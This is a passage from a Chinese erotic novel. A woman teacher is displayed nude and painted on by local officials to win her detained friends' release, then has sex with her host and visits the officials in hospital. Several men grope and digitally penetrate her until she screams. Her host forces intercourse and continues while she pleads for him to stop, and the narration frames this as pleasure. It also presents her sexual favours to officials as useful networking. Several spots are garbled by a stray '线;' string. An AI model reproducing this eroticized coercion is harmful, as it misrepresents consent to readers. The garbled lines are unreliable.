奇怪,他们一连喝了六杯,怎麼还能挺得住?

第三个开始在左腿内侧写,不在腿跟。我明白一共有四个字。

不会很久的。要是写篇领袖诗词,我这世界上最无耻淫荡的架势不得摆到天
黑......

这字写完宋黎辉再发话:「我这最后的字会有个点睛之笔。」

「怎样个点睛?」

「到时候看吧。」纪委书记卖了个官子。

他们是不是已经无视我,注意力都集中到老宋的书法上?

怎麼心裡会有莫名其妙的惆悵?美丽的我一直期望得到别人的注视,成為大
眾视野的焦点,这就是我愿意在佛洛依德发佈会最后以最赤裸的形象登场中的理
由,沐浴在长时间鼓掌欢呼和闪光灯中是我幸福迷醉。难道今日这般模样,还期
冀人们对我羞耻肉体的聚焦吗?可能是吧......

第四个字在靠近腿跟的滑动已经适应,不用方纔这样咬牙屏气。甚至偷偷睁
开眼,看著屋顶的吊灯并用餘光模糊看见静止的几个人头。我没勇气抬头看,一
点儿都没有......

好像写完了,可老宋没想先前那样摔笔,可是对我客气?

「哎,老宋,没写完哪。」彭主任开口。

「是啊,你这羞涩的羞字怎麼缺了左上角那一点呢。」谢局长也开口了。

「哈,这就是今天最最绝妙之处了,大家仔细看,我老宋要画龙点睛啦。」

一个冰凉柔软的东西触到我阴蒂,接著在那裡刷来抹去。

「呜!」我不由自主哼唧出。

那东西不在刷抹,却对著可怜的肉粒捅起来。

「啊哈!」我尖叫著抬起头,看见老宋埋头用粗大的笔毛往哪儿不断的捅,
而且变换著角度。

「你!!」我呼喊道。腹内像被电击样剧烈的一痉挛,忽的喷出一股粘液,
同时眾人惊诧欣喜的目光一齐扫向我。这对视的一瞬令我感到有生以来最大的羞
耻。我仰回头,悲切的呻吟。

笔毛离开了,腿依然被抓著。刚才近乎达到高潮的我软绵绵的仰卧,小腹起
伏著肉波,气喘吁吁.......

让我恨不得钻进地缝的掌声响起,夹杂著昂奋的议论。

「真是惊天动地的点睛!」

「你引发了地震,点出了火山熔岩。」

「老宋卖了个伟大的官子!」

「诸位且慢,书法还没完......」

我已经无所谓他还要写什麼了,被纪委书记在阴蒂的肆虐引发出他们调侃的
「火山熔岩」让我恨老宋,也恨自己。

一个硬硬的带稜角的冰凉物体压在阴阜上,就是被董啟设剃掉阴毛,涂上白
色油彩的佛洛依德三角地。那东西左右扭动按压了五六秒鐘,一下离开。

「哈,『宋黎辉印』!真清楚。」

「你小子真有种,把印章盖到这个地方。」

「嗯,鲜红的宋黎辉大名印刻在茂密的春草之间,红白黑相映成趣啊。」

我真后悔答应他们书法了。可谓机关算尽太聪明,作茧自缚。既然应允,而
且灌了他们那麼多酒,被他「书法」也无话可说。愿赌服输唄。

想到此,心绪平复许多。

「林老师。」老宋恭恭敬敬走到我脸旁:「没......没让您受惊吧?.....


我扭过头不理睬。

「我写的是闭月羞花四个字,最后那个羞字紧贴您的腿......腿跟,那一点
,就是左上角那一点正好在......在那个地方,所以,所以我就点在哪儿了...
...因為您那儿先前涂上了油彩,笔打滑,墨不好沾上,我就,我就多点了几笔
.......」

点睛之笔的坏点子和唯唯诺诺低声下气的致歉都出在这个瘦小的老家伙,觉
得挺可笑。

「你真坏,纪委书记最坏!......」我转过头看著他。

「天下我最坏,最坏。可别打击一大片。社会主义建设还需要我们保驾护航
呢。」

「去你的!」我一撇嘴,笑了一下。

「林老师大慈大悲,饶了我了.......不过我的书法确实不错,今天这四个
字把往常好得多,待会儿您给评审一下?......」

「去去去,去你的,谁看你的狗爬字。」我欠起身:「放开我吧?」这才看
清楚举著我左右腿的分别是谢局长、彭主任、林大可和老四,他们还在津津有味
的往哪儿看。

「您一起来,把字就夹住了,看不见啦。」谢局长边看我腿间边说。

「有什麼可看的啦?放开我......」

说实在的,他们目不转睛的视奸刺激著我心底深处。

「十分鐘的书法展是您答应的。」林大可笑著说:「再让我们欣赏一会儿嘛
。」

想起之前的承诺。

沉醉於最深度裸露快感中的我对他们听之任之:「给你们几分鐘,瞧个够吧
......」

「好哇,就五分鐘吧。」

「你们是看字还是看别的?」我在挑逗。

「.......字嘛,当然要看,写的很帅,当然也要看著字书写的地方嘍,特
别是羞字那一点。」

「哼,不打自招。」

我的表白无疑暗示了他们。抓著脚踝和小腿的手慢慢移动,摸到大腿,接著
转到内侧,两三隻手触到屁股,先是摸,接著抓捏,乳房也被抓住了。

「嗯嗯嗯.......」我哼唧著没有拒绝。这不啻於无声的命令,贪婪的手指
摸到阴唇和肛门,接著掐住阴蒂,最令我震惊的是滑腻腻的阴道被指头插入!

「住手啊!」我尖叫著坐起,所有猥褻我的手触电般躲开,一瞬间我看见他
们涨成紫色的脸和昂奋惊恐的红眼,旋即趴在桌上啜泣。

对他们我没有过多的怨恨,我在咒骂自己的无耻,是我不断纵容乃至挑逗男
人们的欲火,忘乎所以的期盼刺激羞辱,要不是心底深处尚存一息的女性自尊冒
出,我会接受更多的猥褻,甚至会同他们性交!多无耻啊,林雪萍!要是四位政
府高官吧把硬帮帮直挺挺的阴茎轮番插入你淫液四流的阴道,你就是天下最淫荡
无耻的东西.......

一块浴巾盖在身上,接著我被有力的两臂抱起。

「对不起,林老师累了.......」董啟设有气无力的说。

「.......」无人应声。





8. 董啟设

抱著我的人离开他们,朦朦中觉得出了客厅,到了走廊,又进了房间,应该
是我住的客房。

被放在床上后我看见站著的是老四,他把浴巾盖在我身上。王秘书站在他身
后。

「您累了,休息一下吧。」老四低声说。

我抓住他的手,紧紧抓著,不知為什麼。

「要不,您喝点葡萄酒?」老四弯著腰问,没拿开手。

我点点头。王秘书端过酒来,我侧身接过,一饮而尽,浴巾脱落,胴体毕露
,我没在意。「再给我......」

鬆开老四的手,我坐起,又是一口乾掉,把杯子递给王秘书后站起。

「老四,抱抱我.......」我面对著想一面高墙的他,不顾一切扑过去,紧
紧抱住他,身体使劲儿拱著,摩擦著......

「林老师,请您好好休息.......」他尽可能轻但又狠坚决的推著我。

我在床上,王秘书為我盖好被。老四出去了。

酒精带给我平静和睡意,我吐出一口长气,闭上眼睛.......

口乾舌燥使我醒来,房间灯火通明,董啟设坐在我身边,被子早已掀在一边
,看来我一直这样赤裸裸的躺著。

「您醒啦,喝点水。」他和蔼的说。

我接过杯子咕咚咕咚喝下,喘著气。「你在这儿干嘛?」我冷冷的问,没介
意裸体。

「您睡得很香,线;」他轻轻说。

「去你的!」我背过身。「几点啦?」

「夜裡三点,您睡了七八个小时了。」

「你干嘛不睡觉,坐这儿发呆。」我叹息道。这麼晚他还没睡,在这儿陪我


「知道您夜裡会醒来,我就......」

「你傻坐了多会儿?」依然背对他。

「结束派对,送走客人,又办了点儿事就回来了。」

想起羞耻的派对,不禁脸红心跳。

「对不起,林老师,后来,后来有些过分了.......」

「哼,过分?你说的轻巧!」

「他们对您也非常抱歉呢,让我转达歉意,还说改日赔罪.......」

「去他们的吧,再也布想见到这些家伙.......」

「......海,怎麼说呢,他们也付出了代价。」

「什麼?岂有此理,佔了便宜还卖乖吗?」

「我和老四把宋黎辉和谢局长送到医院了,都是心臟出点儿问题,不过已经
脱离危险了。」

我很吃惊,要是他们出了事,该多麻烦哪。

「他俩没事了?」

「放心,躺在贵宾病房,有医生护士监护,睡著了,没事儿。」

想起用书法灌他们喝酒,有些内疚。「不该让他们喝酒写那狗字儿。」

董啟设笑笑:「要是最后那四杯真的喝下,保不齐得出人命的。」

「什麼?他们不是喝了吗?」

董啟设有些胆怯的告诉我,那最后四杯是矿泉水。

「你,你怎麼这样?你坏,你混旦!」我脱口骂出,全然不顾斯文。

「别生气,听我说,我知道您想用灌醉他们解脱,可这几位被您曾记得要色
不要命了。如果他们真喝了出了事儿,麻烦可就大了,不但您和朋友的事不好办
,就连我今后也很被动。总得来说还算恰到好处。」

「恰到好处?这是你说的?你不是没看见最后他们.......」后面的我说不
出口。

「让您难堪受屈,我都知道,再次表示对不起!」

我没理他,不接受道歉。

「事情已经谈妥,解决了。」董啟设见我依然不理不睬,逕自接著说:「林
大可让我表弟放弃诉讼,协商解决。我表弟也同意了。明天,不,是今天上午李
永利就会被释放,其他人自然也没事了,可以回家了。」

「你说的是真的?」我转身看著他。

「不是说我一言駟马难追吗,真的,他们都会平安无事的。至於协商和所谓
赔偿事宜由他们去谈。我要求表弟不提任何要求。」

「你表弟会同意?」

「他从来对我言听计从,没有我和那些官场的朋友,他只是个小混混。」

我相信董啟设,他确实解决了麻烦,心裡轻鬆许多。

「林大可这个人.......」我犹豫的说。

「此人可交。如果说你和著四个人交朋友,最可靠的就是他。」

「可他.......」想起那些摸在我身上的手,打了个寒战。

「我在旁边看得很清楚,林大可不但没伸手,而且还拦著他们,您也得理解
,当著那三个人,他也不好太过分。」

想起林大可那浓眉大眼的脸庞,觉得挺忠厚。

「您知道就行,最起劲儿的是彭主任和谢副局长,简直发狂了。甭看他俩寡
言少语,心挺邪性,要知道,咬人的狗不叫哇。」

我跟他一起笑了。「宋书记呢?」我想知道这个写字家伙的表现。

「他......还凑合.......我觉得此人最放肆之举是在您的三角上盖章,这
家伙挤压您那儿那麼使劲儿,我差点拉开他。

」海,盖章还算不得太坏,谁让我答应书法呢。「我的心鬆快了许多,很想
同他说话,说派对,说每个人。」

「你今天把我弄惨了。害得我第一次在这麼多男人面前赤身裸体。」说完脸
红,不是害羞,是因為对他撒谎。和铁麟他们不仅裸体,还口交剃毛SM呢,还有
金主任那些........

回想和比较起来,今天的事到显得不那麼要死要活。

「我算是出尽了丑了.......」嘴上还是抱怨。

「从另一个角度看,您的佛洛依德展示了女性至尊至贵光芒四射的美,您震
撼了所有的人,也包括我。」

我想还有老四和王秘书吧。

「你不该让王秘书来,这让我很窘迫.......」

「我理解,对同性暴露少有性感,多是羞耻,除非是同性恋。」

「我可不是同性恋哪。」

「这还用说,您是标準的异性恋,从在男性面前表现的坦荡大方最清楚不过
了。」

「去你的。」他讲得我害羞。「要是只有佛洛依德,没有书法就好了。」

「我理解并同意您的想法。但您在书法中也奉献了绝伦绝顶的美艷。」

「他们不就是想看我的性器官吗。」我大胆追问,很想知道他的想法。

「彩绘是我目睹了您的一切,您的那裡,就说性器官这词吧,竟出奇的秀丽
,无论是色泽还是线条,都向您身体一样是巧夺天工造就的。」

他津津有味绘声绘色描述我的阴毛、阴唇、阴蒂、会阴和肛门,像教师一样
不厌其详的讲述,比喻。好一番长篇大论,搞得我心境荡漾。

「真像你说的?他们也会这样想?」

「当白嫩的大腿勇敢地敞开,娇滴滴的密肉彻底展现时,人们看到得到了伟
大的性感,给男人的愉悦当在性交之上。」

「伟大的看点。」我想起张铁麟的话。

「是啊......」我有些气喘的说:「被他们看,也挺刺激的.......先是舞
檯灯光下亮相,接著一丝不掛被围观议论,当然最厉害的是.......被书法....
..」

「很正常,真的很正常,您是真正的女人」

「海,啟圣。」我第一次这样称呼他:「就是最后被摸,我......也很...
...刺激.......算啦,我谁也不怨啦,他们是男人,到那份儿上起性也是正常的
......」

「这样想是对的,你心情见好些吧?」见我点头他又说:「我也可以逃脱罪
责了。」他第一次使用了「你」。

「你休想!」我几乎是蹦下床,赤条条对著他,让他一惊。

「看你把我弄成了什麼德行样儿?你剃掉我的毛,在我羞处图来抹去,你让
别的男人看我的色相,你让我丑态百出,弄的我在他们面前不自禁的发情,你让
他们吃我的豆腐,佔便宜。為什麼啊,你这混蛋!让你看让你画不就的啦嘛,干
嘛叫别人分享.......」

「什麼?你说什麼?」董啟设狠狠抓住我肩头:「你说可以给我,不让被人
分享吗?是吗?......」他激动的发抖。

「去你的!」我「啪」的给他一耳光:「滚你的!谁给你,你这性无能的东
西......」

「什麼!?我,我性无能?」他瞠目结舌望著我。

「性无能,就是性无能。」我用手捶打他的胸脯。

黑暗中他的眼睛射出异样的亮光。「说我性无能,你敢说我是性无能!」说
罢将我拦腰抄起,狠狠地扔在床上。

我趴著,嘴裡依然细声细语哖哖说著:性无能,性无能......

两隻手紧掐我的腰,抬起我的屁股。

「干什麼!」我使足劲挣脱开,转过身体。

一个一个宽肩细腰胸肌发达的裸体男人虎视眈眈对著我,双手捧著一隻粗大
的肉棒,距离我是那样近,可以看见暴露的青筋。

「我是性无能?......好吧,让你知道什麼是性无能!」

他抄起我的腿蛮横的掰开,接著不由分说把那硬硬的东西顶在膣口。

「你干吗?.......」话音未落,那粗鲁的异物已经插入。

「嗷!」我厉声尖叫。来了,终於来了!从脱光衣服开始,经过彩绘,佛洛
依德演示,裸体被围,无忌的评论,书法,猥褻这长长的几个小时不断燃烧的欲
火几经起伏跌宕,现在已到达性欲的顶峰,等到他不失时机的衝入,他来了,勇
敢坚定兄猛异常,将我佔有了!他是世界上第五个男人进入我身体。我闪电般的
回想原来的老公,剃毛的学生,金主任和意大利的保罗。

对不起你们呀,铁麟,永利,汉清!本来在前年我就要和你们水乳交融相亲
相爱的,為了我你们婉拒了这进一步的亲密,现在我正在被你们的敌方佔有,你
们该多麼伤心,知道我心中的痛苦和矛盾吗?我亟不可待的接受了他,希望被他
拥有,就像希望被你们佔有一样。请理解我的苦衷,為了你们的平安,我亲爱的
朋友,我来到这裡,做了该做的事,并且接受了这压在我肉体上的男人,请不要
恨他,我愿意作他的女人,就像愿意作你们的女人一样。

可是从今天起,我将无法面对你们,因為林雪萍的肉体已经背叛了你们,请
记住林雪萍的心永远和你们在一起........

董啟设猛烈抽插的强悍刺激使我堕入淫荡的欲海,每次攻击都把我推向高峰
。伤心,怀念,懺悔被衝击的无影无踪.......

很快我到了高潮,愉悦快感的电波在小腹和后脑来回震盪,越来越强烈。

「嗷嗷嗷!......」我放肆的呼喊,讚美他给我的冲天快乐,太舒服啦,太
......我心满意足的鬆口气。

没想到几秒鐘后,第二波快感的衝击又来了,迭加的快活的令我难以置信。
还没完,又一波接踵而来,天哪,竟有这等无与伦比的享受。

「啊,啊,啊........」我欢呼,想歌唱,想跳跃,想疯狂......

董啟设还是压著我,阴茎像大马力发动机的活塞扑赤扑赤的出入,我开始顶
不住了。

「呕.......我不行了......」

像是没听见,还一个劲儿没头没脑的起劲干,毫无疲倦停歇之意。

「......啟设,我......我不成了.......放开......」

「不!」他抬头瞪著我:「性无能,让你说我性无能,给你看看什麼叫性无
能.....」边说边恶狠狠地撞击,我的下体涨到极点,简直快开裂了。

「饶了我吧,啟设,我不行了......哎,别再弄了,我快死了,饶我吧...
...」

「还说我性无能吗?」

「不说了,再也不敢啦,我错了,饶了我.......」

「光说错不行,得罚你,你这张厉害的嘴,看你今天尖酸刻薄的冷嘲热讽我
多少回?」

「好好,我认罚,停下吧,快停下吧......」我如溃败之军乖乖的举起白旗


「行,你就等著挨罚吧!」说著狠命冲了一下,顶的我眼冒金星。

我像烂泥一样瘫卧床上,四肢绵软,没有一丝力气。他那粗硬的东西仍深插
在体内,虽然静止,还是很刺激。真没想到这家伙如此坚挺有力,我遇到了强大
的对手,保罗比不上他,金主任更不如......突然奇怪的想到铁麟他们会是怎样
,出现这样荒唐的想法让我很自责。

「我怎麼罚你呢?」他笑瞇瞇看著我,缓缓拔出再慢慢挺入:「已经得到你
了,还要怎麼罚呢?」

「去去,去你的!」我都囔道:「还是小人得志.......」

「哈哈,说得对,得志者非我小人莫属哇。」

「瞧把你美的.......」 他又开始抽送,虽然速度不快却弄得我直翻白眼。

「啊啊,嗷嗷.......」

看见我欲望重啟的反应,他再次猛烈进攻,「啪啪啪」的撞击我身体。

「啊呀,呜呜,唔哈,咿呀........」双手使劲儿揪著床单,我毫无顾忌的
喊叫。

他至少干了我两百多下,让我三四次登顶,才停下来。

「你线;」气喘吁吁的我感叹道:「看来你线;」

「对你来说,应当是前所未有的吧?」他俯下身抓住我双乳,肉棒还插著。

「........不知道.......」我把住他的手腕,感觉他的力量。

「告诉我你和你朋友们的事儿好吗?」

「什麼事?」

「你和他们的性爱.......」他看著我。

「你说什麼?.......」简直岂有此理。

「你给他们表演过佛洛依德对吧,就这裡有一小块三角布让他们看,难道只
是看就没有别的?不可能啊。」

「这问题太无理了!」我生气的要起身,却被他死死按住胸部。

「回答这个问题可能让你难堪,就算是惩罚吧,你不是说愿意受罚吗?我可
不想用惩罚肢体的方式,比如打屁股,捆绑,灌肠等,那会破坏美感,影响心绪
。」

「你就不怕我的心绪被影响吗?」我反问。

「嗯.......也是的,这比暴露肉体更难......算了,我不问,也不罚了。
」说罢他将我翻身趴著,扑到我身上,双臂紧紧抱住我,伸手抓住乳房。

胳膊被有力的臂膀钳住,像是捆绑,肌肉发达的坚实肉体重重压著我,屁股
沟顶著粗硬的肉棍,乳房被捏的生疼,我闭上眼,醉心於被佔有的快感中。

「我还要干,把我干到天亮再到天黑,无休无止的干,千回万次的干.....
.」他恶狠狠地碾压我,令我好不快活!

「.......随你吧,傻瓜.......我已经是你的......就今天......」

我把自己完完全全交给了他,任他发狂的佔有享受甚至玩弄,无论用什麼方
式.......

窗外现出黎明的曙晓,我们疯狂的淋漓尽致的做爱方结束,我不知道多少次
登顶高潮,也不清楚他多少次射精,在阴道,口腔,甚至肛门.......

被他折腾得零七八碎,週身疼痛,可身心却是无比的畅快淋漓,身体轻如鸿
毛长久飘舞在美妙温馨的天堂。我又一次刻骨铭心体验到作女人的幸福和性福。
对董啟设,这个过去在学校裡从不正眼看的男人充满了感激和爱。

我们相拥著深深入睡,没有梦,因為疲倦已极,更因為在他这裡的艷丽经歷
赛过最美的梦。

上午十一时,整整裸体二十四小时的我终於穿上自己的衣服。

我们在卧室外的套间进餐,老四送餐后便离去,就我们两人。

「你想知道我和朋友们的关系,具体说是性关系。」我喝著牛奶对他说:「
我拒绝回答后你没坚持,也放弃了惩罚,挺绅士的。」

「我不愿强人所难,所谓的惩罚也只是调侃,什麼还有比我得到你更重要的
呢。」他给我几片煎肉:「多吃些,我们消耗太大,而且我想你昨天没怎麼好好
吃东西吧?」

「可不是,被一大群色狼围观,议论,写字什麼的,哪儿有功夫吃饭,线;」

「在狼群中你也没心思吃饭吧,他们看你看饱了,你享受裸体的快乐也是精
神会餐啦。」

「去去去,还说这个..........」

「好啦,说点正事。建议你下午去医院看看彭主任和谢副局长。」

「干嘛,我不去!」我实在无顏面对他们,再用衣服把自己裹得严严实实,
在他们眼裡还是光溜溜的。

董啟设懂得我的心裡,看看我接著说:「你朋友的麻烦已经解决,再说也不
是他们起的作用,让你去,是希望你同他们交往.......」

「交往什吗?多没意思.......」

「雪萍,听我说,中国是世界上最大的市场,今后无论你在国内或者再出国
, 都不排除从事自己事业的可能。市裡省裡有这样的关系非常重要,我想你未
必喜欢他们,但需要他们,或者说可以利用他们。」

「我是个超脱的人,随遇而安,没什麼理想抱负,从未想过什麼事业.....
.」

「今天没想法,可明天多半会有,需要有所準备,储备,听我的,这很重要
,而且你已经卖出了第一步,儘管这第一步是处於窘困的原因。」

我的脸又红了。在羞耻的第一步后,第二步是什麼呢?

「他们对你是崇拜的,我清楚。」

「什麼崇拜?我讨厌.......」

「还是去看看他们吧,至少处於面子,恕我直言,见到他们时,你也会得到
或找回面子。」

「.........」找回面子?可能有道理,如果我不声不响的消失,留给他们
的印象就总是那个赤裸裸的女教师。再说结识了他们,或许会有点儿用?这想法
有些庸俗,可挺实在。我甚至心底裡想,干嘛让他们光佔便宜?......

见我不再拒绝,董啟设说:「让老四带你去,你单独见,下午合适,他们住
院的事儿还没传出,要是明天拍马的人会挤爆走廊。」





9.回访

午休时间,住院部走廊杳无人跡。拿著老四準备的鲜花,我东张西望查看病
房号,高跟皮靴咚咚敲打地面,儘管尽量走得轻,在寂静的走廊还是那麼响亮。

在彭主任的病房门口透过窗子看去,裡面只有病床上的一个人,如同董啟设
说的,还没人来探视。

轻推开门,躺在床上的彭主任扭头看见我一怔,有点不知所措。

「彭主任,您好.......」我轻声问。

「......是......是林老师啊.......」他一下坐起,要下床。

「别,您躺著。」我走过去伸手示意他别下来。

「谢谢.......谢谢您来看我......」他有些气喘:「对不起,我方才没一
下认出您,没想到您来......」

我脸红了,他说没认出我,可能是没见过我穿衣服的样子吧,我昨天长时间
裸体的形象定格在他脑中,他脑中把一丝不掛的林雪萍置换成穿衣服的需要时间
,即使很短暂。想到这儿不由得心裡一热。

他似乎比我还尷尬,不敢看我,一个劲儿点头致谢。

「您好些了吧?」我尽量平静的问候。

「没......没事儿,没事儿了。昨天就是有点儿不舒服.......」

说起「昨天」,我们不约而同红了脸,可我不觉得尷尬。

一时沉默无声。

「真不该让你们喝那麼多的酒哇。」我友好的说,虽然知道他们后来喝的是
水。

「林老师......」他看了我一眼:「其实......其实,我们后来喝的是水.
.....」

他的诚实让我有些好感。

「是吗?」我不在意的说:「幸亏是水,不然就坏了。」

「.......,林老师,真对不起,我们耍滑头了,骗了您......」

「没关系,只要你们身体没事儿就好。」我说这话挺真心的。

「您,真是太好了。线;我想跟您说几句心裡线;
行吗?」

我有点紧张,会不会提及昨天的事呢?海,管他呢!於是大度的说:「怎麼
不行,您说吧。」

「虽然很对不住您,可我不多说了。我想把您作為朋友,好朋友,您别误会
,是线;」

「海,再说吧,您先养好身体嘛.......」

「我只想说,今后,今后林老师有什麼事情,我一定全力以赴,或者说效犬
马之劳.......我会非常尊重您,真心实意想為您做事。」

「谢谢啦,今后如果有事儿,我不会客气。」

「太好啦.......林老师,从今以后您就是我最好的朋友,请别误会,我说
的朋友是纯粹的朋友.......这麼说吧,对您这个最好的朋友,我绝不会以任何
方式提出要求,真的,请相信我。」

「谢谢你的友谊,我接受,知道你是真心的。」我给他一个表示亲切的微笑


「........」彭主任一时激动得说不出话来。

「.........那天......」突然我衝动起来:「那天,你们也还算是君子..
....」

彭主任惊异的睁大眼睛望著我,目光闪烁著迷惑。

「........啊......如有不敬,请您多多原谅.......」他低头细声说,像
个犯错误的小学生。

「彭主任不必自责,没什麼原谅不原谅的。我最担心的是别影响你们的健康
。」

「......您线;」他还是那样低著头,满脸通红。

在这个五十来岁,官场商场牛哄哄的要员面前,我已居於主动地位,觉得很
有趣,也有些兴奋。於是接著说:「可不知道你们这样看我的......」

「唉,不好意思,实在不好意思.......」他一个劲儿点头。

「觉得我是个........」

「不,绝对不!」他突然面对我:「在我心中您就是女神,光辉夺目.....
.」

「呵,言不由衷吧?」他讚美的话语或许过分,可还让我听著舒服。

「不,是真的,真的。林老师,说句心裡话,和您见面后我才真正理解『回
眸一笑百媚生,六宫粉黛皆无色』的涵义。」

「你有多少六宫粉黛呢?」我追问。

「这.......林老师,那天,还有今天您来看我,我心裡最强烈的感想是什
麼?」他看我的眼光挺虔诚。

「那谁知道?你们男人啊.......」

「可以实话实说的告诉您,是信任,可贵的信任!」他拿出香烟,没有点上
。「作為对信任的答谢,我也斗胆讲几句个人隐私。我有过不少女人,是的,我
是个很花的男人。可那天见到您后,我受到极大的震动,真没想到世界上有您这
样完美的........身体和大方典雅的气质。我想今后不可能再见到比这更美的了
,我太知足和幸福了!再想起我接触过的那些女人,简直,简直太,太无色了。
看见您之后觉得今后再也不会同那些女人,或者说任何女人交往了。您别误会,
我没有别的意思,也绝对不会对您有任何非分之想。」

他的话是坦诚的,可以相信。

「我是个普通的教师,哪有你说的那样?」我很高兴同他说话。

房间很热,我脱下大衣,露出被羊绒衫紧裹的胸部和纤腰。引得他不住的打
量。

「刚进门时没认出我来,是不是?」

「........啊,有点儿......」他收回眼光,脸又红了。

「是不是我穿上马甲就认不出了?」我挑逗的问,弄得他羞愧难当。

「........嗯,是有点儿........」

「看看你满脑子裡都在想什麼?」我故作生气口气却很亲切。

「不瞒您说,一闭眼,满脑子都是您的光辉形象.......挥之不去啊!」

「好坏呀!」我拍他肩膀一下:「我穿著衣服就『皆无色』啦?」

「哪裡哪裡,现在的您非常美丽动人,特别的帅.......」他急不可待的回
答,我亲暱的拍打让他很激动。

「得了吧,再怎麼帅也比不上你那个『挥之不去』呀。」我笑著说。

「.......,这,这点儿得请您原谅,说实话,绝大多数女人穿衣比不穿衣
好看,而您......不穿衣最美.......您没生气吧?」他紧张的看著我。

「倒没说假话,男人嘛,见到女人总要起色心,恨不得天下女人都光身子,
我们艺院有个老师讲,他要是皇帝就昭告天下,不准女人穿衣......我看你们都
一个样儿。」

我俩一同笑起来,气氛一下融和了许多。

「既然『挥之不去』了,告诉我是哪个模样?」问这话我有点儿心跳,那种
情绪又来了,想听他对我的描述。

「一幕幕,一幅幅都深深刻在脑子裡.......我能说说吗?」他有些气喘。

「想说就说。憋在心裡别又犯病.......」

「那,那我就说了.......见到您第一印象是典雅高贵带著艷丽......」

「艷丽」这词让他说著了,董啟设在阴部的彩绘将我撩拨的心猿意马。

「.........接著是晚礼服露出的整个后背,让我感受到您身体的白嫩。」

鲁迅说中国人从女人露出的小臂可以想到裸体,肯定当时所有的人都从后背
设想到我的全身.......

「表演开始灯光一亮,您惊艷的两项让我们震惊:腿间只有很小的白三角遮
挡,胸部一条纱巾飘忽。虽然我们看过您的佛洛依德照片,可还是被强烈衝击。
感觉这装扮比全裸还赤裸........当您转身背对我们,我们......我们看到了您
全裸的身体,虽然是背面,可您的背面是多麼性感迷人,全裸体的林老师这个概
念涌进大脑,让我们几乎窒息!虽然以后我们知道您身上只有彩绘而震惊,可后
背那一刻最具衝击力,一闭眼就是她,挥之不去,实在挥之不去.......」他说
得忘情,两眼翕翕放光。

「哎呀!」我故作遗憾的说:「早知如此,我该及时收场啊......」

「啊,您误会了,后来大家在一起聊天,那是我们最最幸福的时光,空前绝
后哇,那将是我们永远的梦,永远刻骨铭心那......」

「你说的对,空前绝后,对你对我都是。」

「我们没有更多的奢望了,永远感谢您,把您当作最好的朋友,只付出而不
再索取,请相信.......」

和他的谈话得到些许满足甚至刺激,心情挺好。董啟设让我回访也许说得对


我们彼此留了电话和邮箱。

以后的时间,彭主任挺讲信用,联络很少而得体。一年后我得到了他的重要
帮助,他确实做到了付出而无索取。

老谢的病房在同一层,他见到我的那种惊讶迷茫的表情和彭主任相似,我没
再追问他是否把我的裸体形象格式化在那坏坏的脑瓜袋裡。

他和彭主任一样已经恢复了,起色很好,面色红润,可能与见到我有些害羞
有关。

接过鲜花,他一再点头致谢。

「真是的,还让您到这儿来......哎,酒喝多了,抱歉,抱歉哪......」

「亏了你们最后装假喝的水,要不然可就.......」我主动揭穿他。

「得罪,得罪呀,请林老师多多包涵,原谅我们的无礼......」

「哼,你还知错?」我撅著嘴抱怨。

「知错知错,今后有错必改.......」他不敢面对我。

「可不会再有机会了,你这麼改错?」

「我只想今后怎麼报答您.......」

「有什麼可报答的?」

「.......毕竟,毕竟您给了我们.......最.......最美好的......」

「在你们看来是美好的吗?」

「绝对是,无与伦比........请原谅我这麼说,是心裡线;」

「好啦,事情过去了,希望你早日康复。」

「谢谢,太谢谢啦!我就一个愿望,您有事时一定来找我。」

和彭主任见过后已没有兴趣同他讨论那天的事,留下联繫方式后我就走了。

在交通局的他果然给了我很大的帮助,这是后话。

坐上车,老四正问我去哪儿,董啟设来电话。

「我联繫林大可和您见面,不再公安局,约的是上岛咖啡馆,一小时以后见
。让老四先带你吃点东西好吗?」

在一个幽静的四川小吃店,我点了川北凉粉和钟水饺,老四建议喝点啤酒,
我没拒绝。

饭桌上瞭解了老四的大概情况。

他是河南嵩山人,自小习武练得一身拳脚。五年前来到我市,先到建筑工地
打工,后来在一家夜总会做保安,夜总会老板是董啟设的表弟。由於為人忠厚又
有武功,两年前被董啟设招去作司机兼保膘。

「林老师,叫您林姐行吗?我不习惯老师这个词,因為我从小就不是个好学
生。」

「叫林姐吧,挺好。」

「董老板这人其实挺好的,他很有本事,交接人很广,可这人心善。」

「呵,替你们老板说好话哪。」

「不是的,林姐,我说的是心裡话。虽然开始对您有些那个,也包括我...
...可我知道董老板线;」

「我是為朋友接受他要求的,这你都看到了。看来他是守信用的,至於谁喜
欢谁还谈不上。」

「是,林姐,这种事请得随缘,没有缘分再想也没用。」

缘分!想起了铁麟他们,涌起一阵伤感。

老四看出来了,没再说话。

「老四,你怎样看林姐,我是不是挺坏?.....」

「没有,绝对没有!林姐美丽善良,我喜欢林姐。」

「你喜欢我?」

「啊,别误会,我是喜欢,可只是喜欢。林姐是天鹅,我是癩蛤蟆。」

「胡说!把话收回去,什麼癩蛤蟆,你是个好人,至少不比他们差......」

「......」老四感动的说不出话。

「昨天我出丑,被你看见,我不在乎,你可别笑话我呀。」

「哪裡!」老四有点儿急了:「您不是出丑,您太美了,让我觉得这一辈子
没白活!我太知足了!」

望著他淳厚的脸,心裡有种把肉体给他的衝动,让他知足,让他没白活。

「林姐愿意有你这样的朋友。」我夹给他一隻水饺,然后端起杯:「来,小
老弟,和林姐乾一杯。」

喜出望外的他咧著大嘴乐呵呵的同我碰杯一饮而尽。

要不是和林大可有约会,真想同他喝个烂醉。

「有时间陪林姐痛饮一会好吗?」

老四没说话,使劲点头。

先到的林大可没穿警服,还是西装打扮。

「在局裡不太方便。」他微笑说:「一个美女到我的办公室,肯定会引出一
大堆议论。」

「林局长在办公室不接待女士吗?」

「当然不是,可您太出眾了,令我有点儿心虚,我不得不留心些,对不起,
我说的是实话;另外别叫我林局长,叫大可好吗?」

「好的,林局长.......大可。」

我们笑起来,气氛一下鬆快了。他实在的讲话博得我的好感。

服务员送来两杯热气腾腾的咖啡。

「先谈所谓公务吧..对方放弃起诉改為调解,李永利今天上午已经释放,其
他人自然也相关无事了。如何调解是当事双方的事情,啟设和您说了吧?」

我点点头:「谢谢!」

「要不要给您朋友打个电话?」

「暂时不用.......」很想同他们联繫,可事到如今,说什麼,怎麼说呢?
早晚铁麟他们会知道我做的事,即使不清楚具体也知道我為他们求情了,一个无
权无势的女教师凭著什麼呢,只能凭借美丽或者说色相,他们不会恨我,但会无
比的伤心自责,我们之间难以面对呀。

林大可似乎看出我的情绪:「林老师喝点咖啡吧,我自作主张点了兰山咖啡
,不知是否合口。」

咖啡的香气舒缓了心情,又想起在金主任家喝咖啡的情景,怀念之餘蕴藏著
些许激动。

兰山咖啡味苦,但回味不坏,想来林大可还有些品味。

